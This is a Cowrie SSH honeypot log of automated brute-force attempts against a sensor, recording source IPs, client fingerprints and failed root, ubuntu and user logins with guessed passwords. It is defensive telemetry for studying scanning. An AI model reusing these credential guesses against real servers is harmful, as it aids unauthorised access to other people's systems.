{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:12.743312Z","src_ip":"83.168.110.85","session":"14053e2f04ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:12.840689Z","src_ip":"103.77.242.62","session":"137db00b31b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:12.964922Z","src_ip":"83.168.110.85","session":"14053e2f04ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:13.333899Z","src_ip":"83.168.110.85","session":"14053e2f04ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030303","message":"login attempt [root/030303] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:13.569099Z","src_ip":"103.77.242.62","session":"137db00b31b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:14.456784Z","src_ip":"83.168.110.85","session":"14053e2f04ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:14.814263Z","src_ip":"103.77.242.62","session":"137db00b31b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":54800,"dst_ip":"159.203.135.109","dst_port":22,"session":"37b775dbfd37","protocol":"ssh","message":"New connection: 152.32.171.99:54800 (159.203.135.109:22) [session: 37b775dbfd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:20.451224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:20.455662Z","src_ip":"152.32.171.99","session":"37b775dbfd37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:20.673944Z","src_ip":"152.32.171.99","session":"37b775dbfd37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blue","message":"login attempt [root/blue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:21.579694Z","src_ip":"152.32.171.99","session":"37b775dbfd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:22.801775Z","src_ip":"152.32.171.99","session":"37b775dbfd37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56770,"dst_ip":"159.203.135.109","dst_port":22,"session":"32faab401c8a","protocol":"ssh","message":"New connection: 83.168.110.85:56770 (159.203.135.109:22) [session: 32faab401c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:23.202507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:23.328658Z","src_ip":"83.168.110.85","session":"32faab401c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:23.332612Z","src_ip":"83.168.110.85","session":"32faab401c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:23.906119Z","src_ip":"83.168.110.85","session":"32faab401c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:25.030816Z","src_ip":"83.168.110.85","session":"32faab401c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":46266,"dst_ip":"159.203.135.109","dst_port":22,"session":"1713b18f3bc0","protocol":"ssh","message":"New connection: 103.118.29.129:46266 (159.203.135.109:22) [session: 1713b18f3bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:32.075425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:32.080422Z","src_ip":"103.118.29.129","session":"1713b18f3bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:32.319642Z","src_ip":"103.118.29.129","session":"1713b18f3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53870,"dst_ip":"10.17.0.5","dst_port":22,"session":"59713308d089","protocol":"ssh","message":"New connection: 103.153.68.219:53870 (10.17.0.5:22) [session: 59713308d089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:32.800754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:32.805260Z","src_ip":"103.153.68.219","session":"59713308d089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:33.047075Z","src_ip":"103.153.68.219","session":"59713308d089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"martin12345","message":"login attempt [root/martin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:33.318786Z","src_ip":"103.118.29.129","session":"1713b18f3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56374,"dst_ip":"159.203.135.109","dst_port":22,"session":"45817e78b2c4","protocol":"ssh","message":"New connection: 83.168.110.85:56374 (159.203.135.109:22) [session: 45817e78b2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:33.647135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:33.767748Z","src_ip":"83.168.110.85","session":"45817e78b2c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3","message":"login attempt [root/a1a2a3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:33.774907Z","src_ip":"103.153.68.219","session":"59713308d089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:33.854360Z","src_ip":"83.168.110.85","session":"45817e78b2c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:34.303872Z","src_ip":"83.168.110.85","session":"45817e78b2c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:34.564015Z","src_ip":"103.118.29.129","session":"1713b18f3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:35.018883Z","src_ip":"103.153.68.219","session":"59713308d089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:35.471301Z","src_ip":"83.168.110.85","session":"45817e78b2c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde17e152da6","protocol":"ssh","message":"New connection: 83.168.110.85:38268 (159.203.135.109:22) [session: dde17e152da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:44.183882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:44.257479Z","src_ip":"83.168.110.85","session":"dde17e152da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:44.308496Z","src_ip":"83.168.110.85","session":"dde17e152da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:44.778987Z","src_ip":"83.168.110.85","session":"dde17e152da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:45.961082Z","src_ip":"83.168.110.85","session":"dde17e152da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":56156,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b508b3ae4e8","protocol":"ssh","message":"New connection: 160.251.185.39:56156 (159.203.135.109:22) [session: 2b508b3ae4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:52.644505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:52.648767Z","src_ip":"160.251.185.39","session":"2b508b3ae4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:52.833765Z","src_ip":"160.251.185.39","session":"2b508b3ae4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banban","message":"login attempt [root/banban] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:53.605499Z","src_ip":"160.251.185.39","session":"2b508b3ae4e8","protocol":"ssh"}
